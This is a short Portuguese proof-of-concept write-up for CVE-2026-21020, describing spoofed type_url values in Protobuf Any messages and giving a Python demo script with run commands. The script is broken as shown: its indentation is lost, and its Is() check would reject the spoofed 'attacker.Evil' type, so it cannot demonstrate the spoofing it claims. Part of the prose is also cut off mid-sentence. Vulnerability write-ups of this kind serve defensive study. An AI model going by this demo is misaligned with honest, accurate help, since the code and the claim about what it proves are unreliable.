
PoC para CVE-2026-21020, demonstrando desserialização polimórfica do tipo Any do Protobuf, onde o type_url controlado pelo atacante pode levar a bugs de lógica, RCE ou escalonamento de privilégios.
# proto_vuln.py - Insecure handling of Any type
import addressbook_pb2 # Example protobuf
# Simulated deserialization that trusts an injected type_url
from google.protobuf import any_pb2
any_msg = any_pb2.Any()
any_msg.type_url = "type.googleapis.com/attacker.Evil"
any_msg.value = b'\x0a\x05admin' # serialized payload
# Application unpacks to expected type but could instantiate arbitrary class if using dynamic loading
if any_msg.Is(addressbook_pb2.Person.DESCRIPTOR):
person = addressbook_pb2.Person()
any_msg.Unpack(person)
print("Person unpacked, but type_url was spoofed!")
Um serviço usa o tipo Any do Protocol Buffers para encapsular mensagens e as desempacota dinamicamente usando o campo type_url sem validar o tipo esperado. Um atacante pode enviar uma mensagem com um type_url malicioso que aponta para uma classe de mensagem perigosa (ou não intencional), causando falhas de lógica ou execução de código.
type_url controlado pelo atacante, sem usar uma lista de permissões (whitelist).Execute a simulação:
pip install protobuf
python proto_vuln.py
Isso mostra que o tipo Any pode ser falsificado; se o código carregar dinamicamente a classe a partir de type_url, isso pode levar a RCE.